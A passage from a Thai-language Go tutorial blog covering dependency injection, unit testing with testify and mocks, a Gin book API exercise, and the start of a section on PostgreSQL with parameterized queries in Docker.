	// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
	err := store.AddBook(&quot;The Go Programming Language&quot;)
	if err != nil {
		log.Fatalf(&quot;Failed to add book: %v&quot;, err)
	}
	fmt.Println(&quot;Book added successfully&quot;)

	// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
	title, err := store.GetBookTitle(1) // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; ID &#xE02;&#xE2D;&#xE07;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE04;&#xE37;&#xE2D; 1
	if err != nil {
		log.Fatalf(&quot;Failed to get book: %v&quot;, err)
	}
	fmt.Printf(&quot;Book title: %s\n&quot;, title)

	// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;
	err = store.DeleteBook(1)
	if err != nil {
		log.Fatalf(&quot;Failed to delete book: %v&quot;, err)
	}
	fmt.Println(&quot;Book deleted successfully&quot;)
}
</code></pre><p>Compile Code &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; go build &#xE41;&#xE25;&#xE49;&#xE27;&#xE23;&#xE31;&#xE19; Program</p><pre><code>go build cmd/main.go

./main </code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-21-at-2.45.34-PM.png" class="kg-image" alt loading="lazy" width="2000" height="1335" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-21-at-2.45.34-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-21-at-2.45.34-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-21-at-2.45.34-PM.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/08/Screenshot-2024-08-21-at-2.45.34-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="exercise"><em><em><em><em>Exercise</em></em></em></em></h3><p>1. &#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Program &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE23;&#xE16;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; &#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE41;&#xE01;&#xE4A;&#xE2A; (GasEngine) &#xE41;&#xE25;&#xE30;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE44;&#xE1F;&#xE1F;&#xE49;&#xE32; (ElectricEngine) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23; Dependency Inversion Principle (DIP) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Interface &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE41;&#xE25;&#xE30;&#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE23;&#xE16;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; Interface &#xE19;&#xE35;&#xE49;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE15;&#xE23;&#xE07; &#xE46;</p><figure class="kg-card kg-code-card"><pre><code>// Engine &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE41;&#xE17;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE43;&#xE14; &#xE46;
type Engine interface {
    Start() string
}

// GasEngine &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;&#xE41;&#xE01;&#xE4A;&#xE2A;
type GasEngine struct{}

// Implement GasEngine &#xE15;&#xE32;&#xE21; Engine Interface
func (g *GasEngine) Start() string {
    return &quot;Gas engine started: Vroom Vroom!&quot;
}

// &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; ElectricEngine

// Car &#xE40;&#xE1B;&#xE47;&#xE19; Struct &#xE17;&#xE35;&#xE48;&#xE1E;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE32; Engine Interface
type Car struct {
    engine Engine
}

// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Car &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22; Inject Engine
func NewCar(e Engine) *Car {
    return &amp;Car{engine: e}
}

// Start &#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;
func (c *Car) StartEngine() string {
    return c.engine.Start()
}</code></pre><figcaption>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Code</figcaption></figure><p>&#xE43;&#xE19; main.go &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Instance &#xE02;&#xE2D;&#xE07; GasEngine &#xE41;&#xE25;&#xE30; ElectricEngine &#xE41;&#xE25;&#xE49;&#xE27; Inject &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Car &#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE22;&#xE19;&#xE15;&#xE4C;</p><p>2. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &quot;book_api_test.go&quot; &#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Program &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &quot;bookapi&quot; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// book_api.go

package bookapi

import (
    &quot;net/http&quot;
    &quot;github.com/gin-gonic/gin&quot;
)

type Book struct {
    ID    string `json:&quot;id&quot;`
    Title string `json:&quot;title&quot;`
}

var books = []Book{
    {ID: &quot;1&quot;, Title: &quot;Go Programming&quot;},
    {ID: &quot;2&quot;, Title: &quot;API Design&quot;},
}

func SetupRouter() *gin.Engine {
    r := gin.Default()
    r.GET(&quot;/books&quot;, getBooks)
    r.GET(&quot;/books/:id&quot;, getBookByID)
    return r
}

func getBooks(c *gin.Context) {
    c.JSON(http.StatusOK, books)
}

func getBookByID(c *gin.Context) {
    id := c.Param(&quot;id&quot;)
    for _, book := range books {
        if book.ID == id {
            c.JSON(http.StatusOK, book)
            return
        }
    }
    c.JSON(http.StatusNotFound, gin.H{&quot;message&quot;: &quot;Book not found&quot;})
}</code></pre><p>2. &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &quot;icecream_shop_test.go&quot; &#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Unit Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19; Package &quot;icecreamshop&quot; &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>// icecream_shop.go

package icecreamshop

// IceCreamDatabase &#xE40;&#xE1B;&#xE47;&#xE19; Interface &#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE27;&#xE48;&#xE32; Ice Cream Database &#xE15;&#xE49;&#xE2D;&#xE07;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE49;&#xE32;&#xE07;
type IceCreamDatabase interface {
    GetFlavor(id int) (string, error)
    AddFlavor(flavor string) error
    DeleteFlavor(id int) error
}

// RealDatabase &#xE40;&#xE1B;&#xE47;&#xE19; struct &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
type RealDatabase struct {
    // &#xE43;&#xE19;&#xE17;&#xE35;&#xE48;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Database &#xE08;&#xE23;&#xE34;&#xE07;
}

func (db RealDatabase) GetFlavor(id int) (string, error) {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE14;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return &quot;Real Flavor: Chocolate Chip&quot;, nil
}

func (db RealDatabase) AddFlavor(flavor string) error {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE2A;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE44;&#xE2D;&#xE28;&#xE01;&#xE23;&#xE35;&#xE21;&#xE43;&#xE19; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return nil
}

func (db RealDatabase) DeleteFlavor(id int) error {
    // &#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A;&#xE23;&#xE2A;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE44;&#xE2D;&#xE28;&#xE01;&#xE23;&#xE35;&#xE21;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07;
    return nil
}

// IceCreamShop &#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Application
type IceCreamShop struct {
    db IceCreamDatabase
}

// NewIceCreamShop &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; IceCreamShop &#xE43;&#xE2B;&#xE21;&#xE48;&#xE42;&#xE14;&#xE22;&#xE23;&#xE31;&#xE1A; Database &#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;
func NewIceCreamShop(db IceCreamDatabase) *IceCreamShop {
    return &amp;IceCreamShop{db: db}
}

// GetIceCreamFlavor &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; IceCreamShop &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE2A;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE44;&#xE2D;&#xE28;&#xE01;&#xE23;&#xE35;&#xE21;
func (shop *IceCreamShop) GetIceCreamFlavor(id int) (string, error) {
    return shop.db.GetFlavor(id)
}

// AddNewFlavor &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; IceCreamShop &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE23;&#xE2A;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE44;&#xE2D;&#xE28;&#xE01;&#xE23;&#xE35;&#xE21;&#xE43;&#xE2B;&#xE21;&#xE48;
func (shop *IceCreamShop) AddNewFlavor(flavor string) error {
    return shop.db.AddFlavor(flavor)
}

// DiscontinueFlavor &#xE40;&#xE1B;&#xE47;&#xE19; Method &#xE02;&#xE2D;&#xE07; IceCreamShop &#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE23;&#xE2A;&#xE0A;&#xE32;&#xE15;&#xE34;&#xE44;&#xE2D;&#xE28;&#xE01;&#xE23;&#xE35;&#xE21;
func (shop *IceCreamShop) DiscontinueFlavor(id int) error {
    return shop.db.DeleteFlavor(id)
}</code></pre><p><em><a href="https://forms.gle/ftFzAAE7nqvXfXxz7?ref=blog.pjjop.org"><em><em><em>Go Quiz </em></em></em>16</a><em><em><em> (</em></em></em>20<em><em><em> &#xE02;&#xE49;&#xE2D;) </em></em></em></em>&#xE02;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE19;&#xE38;&#xE01;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; Quiz &#xE19;&#xE30;&#xE04;&#xE23;&#xE31;&#xE1A;</p><p><em><em><em><em>Q&amp;A?</em></em></em></em></p><h3 id="%E0%B8%A3%E0%B8%A7%E0%B8%A1-cheat-sheet-%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%94%E0%B8%AA%E0%B8%AD%E0%B8%9A%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%AA%E0%B8%B9%E0%B8%87"><em><em><em><em>&#xE23;&#xE27;&#xE21; Cheat Sheet </em></em></em>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07;</em></h3><pre><code>&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE2A;&#xE39;&#xE07;
------------

1. &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API
	func TestAPIEndpoint(t *testing.T) {
		// &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; Gin &#xE43;&#xE2B;&#xE49;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE42;&#xE2B;&#xE21;&#xE14;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;
		gin.SetMode(gin.TestMode)
		
		// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Router
		r := gin.Default()
		r.GET(&quot;/hello&quot;, HelloHandler)
		
		// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Request
		req, _ := http.NewRequest(http.MethodGet, &quot;/hello&quot;, nil)
		
		// &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Response Recorder
		w := httptest.NewRecorder()
		
		// &#xE2A;&#xE48;&#xE07; Request &#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Handler Function
		r.ServeHTTP(w, req)
		
		// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Status Code
		assert.Equal(t, http.StatusOK, w.Code)
		
		// &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Response Body
		var response map[string]string
		json.Unmarshal(w.Body.Bytes(), &amp;response)
		assert.Equal(t, &quot;Hello, World!&quot;, response[&quot;message&quot;])
	}

2. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Dependency Injection
	type BookDatabase interface {
		GetBook(id int) (string, error)
	}

	type BookStore struct {
		db BookDatabase
	}

	func NewBookStore(db BookDatabase) *BookStore {
		return &amp;BookStore{db: db}
	}

3. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Mock Database
	type MockDatabase struct {
		mock.Mock
	}

	func (m *MockDatabase) GetBook(id int) (string, error) {
		args := m.Called(id)
		return args.String(0), args.Error(1)
	}

	func TestGetBookTitle(t *testing.T) {
		mockDB := new(MockDatabase)
		bookStore := NewBookStore(mockDB)
		
		mockDB.On(&quot;GetBook&quot;, 1).Return(&quot;The Go Programming Language&quot;, nil)
		
		title, err := bookStore.GetBookTitle(1)
		
		assert.NoError(t, err)
		assert.Equal(t, &quot;The Go Programming Language&quot;, title)
		mockDB.AssertExpectations(t)
	}

4. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Assert &#xE08;&#xE32;&#xE01; Testify
	import &quot;github.com/stretchr/testify/assert&quot;

	func TestSomething(t *testing.T) {
		result, err := SomeFunction()
		assert.Equal(t, expected, result)
		assert.NoError(t, err)
		assert.Error(t, err)
	}

5. Best Practice
	- &#xE43;&#xE0A;&#xE49; Table-Driven Test &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE01;&#xE23;&#xE13;&#xE35;&#xE43;&#xE19; Test Function &#xE40;&#xE14;&#xE35;&#xE22;&#xE27;
	- &#xE43;&#xE0A;&#xE49; Mock Object &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; Dependency &#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;
	- &#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D; Function &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2B;&#xE21;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19; TestGetBookTitle_ExistingBook
	- &#xE43;&#xE0A;&#xE49; Subtest (t.Run) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;
	- &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE40;&#xE1B;&#xE47;&#xE19; Deterministic (&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE19;)</code></pre><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%87%E0%B8%B2%E0%B8%99%E0%B8%81%E0%B8%B1%E0%B8%9A-database-%E0%B9%80%E0%B8%9A%E0%B8%B7%E0%B9%89%E0%B8%AD%E0%B8%87%E0%B8%95%E0%B9%89%E0%B8%99"><strong><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Database &#xE40;&#xE1A;&#xE37;&#xE49;&#xE2D;&#xE07;&#xE15;&#xE49;&#xE19;</strong></strong></h2><p>Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; SQL Database &#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE14;&#xE49;&#xE27;&#xE22;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; SQL Query &#xE41;&#xE1A;&#xE1A; Prepared Statement &#xE2B;&#xE23;&#xE37;&#xE2D; Parameterized Query &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19; SQL Injection &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Connection Pooling &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19; &#xE41;&#xE25;&#xE30;&#xE25;&#xE14;&#xE20;&#xE32;&#xE23;&#xE30;&#xE07;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07; Database Server &#xE25;&#xE07; &#xE2F;&#xE25;&#xE2F;</p><p>&#xE43;&#xE19;&#xE2B;&#xE31;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE38;&#xE07; Program &#xE23;&#xE30;&#xE1A;&#xE1A;&#xE23;&#xE49;&#xE32;&#xE19;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE09;&#xE35;&#xE14; Database Object &#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL &#xE0B;&#xE36;&#xE48;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Connection Pooling &#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Function &quot;NewBookStore&quot; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE36;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D; &#xE41;&#xE25;&#xE30;&#xE25;&#xE1A;&#xE2B;&#xE19;&#xE31;&#xE07;&#xE2A;&#xE37;&#xE2D;&#xE08;&#xE32;&#xE01; Database &#xE08;&#xE23;&#xE34;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL &#xE41;&#xE1A;&#xE1A; Parameterized Query &#xE02;&#xE2D;&#xE07; Go</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07; PostgreSQL &#xE41;&#xE25;&#xE30; pgAdmin &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; GUI (Graphical User Interface) &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; PostgreSQL &#xE1A;&#xE19; Docker Container &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07; &quot;<strong>books</strong>&quot; &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Schema &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-22-at-12.35.17-AM.png" class="kg-image" alt loading="lazy" width="1842" height="294" srcset="https://blog.pjjop.org/content/images/size/w600/2024/08/Screenshot-2024-08-22-at-12.35.17-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/08/Screenshot-2024-08-22-at-12.35.17-AM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/08/Screenshot-2024-08-22-at-12.35.17-AM.png 1600w, https://blog.pjjop.org/content/images/2024/08/Screenshot-2024-08-22-at-12.35.17-AM.png 1842w" sizes="(min-width: 720px) 720px"></figure><p>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE49; Download <a href="https://www.docker.com/products/docker-desktop/?ref=blog.pjjop.org">Docker Desktop</a> &#xE41;&#xE25;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE49;&#xE07;&#xE1A;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0E;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE02;&#xE2D;&#xE07;&#xE17;&#xE48;&#xE32;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; File &#xE41;&#xE25;&#xE30; Folder &#xE15;&#xE32;&#xE21;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><pre><code>bookstoredatabase
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; docker
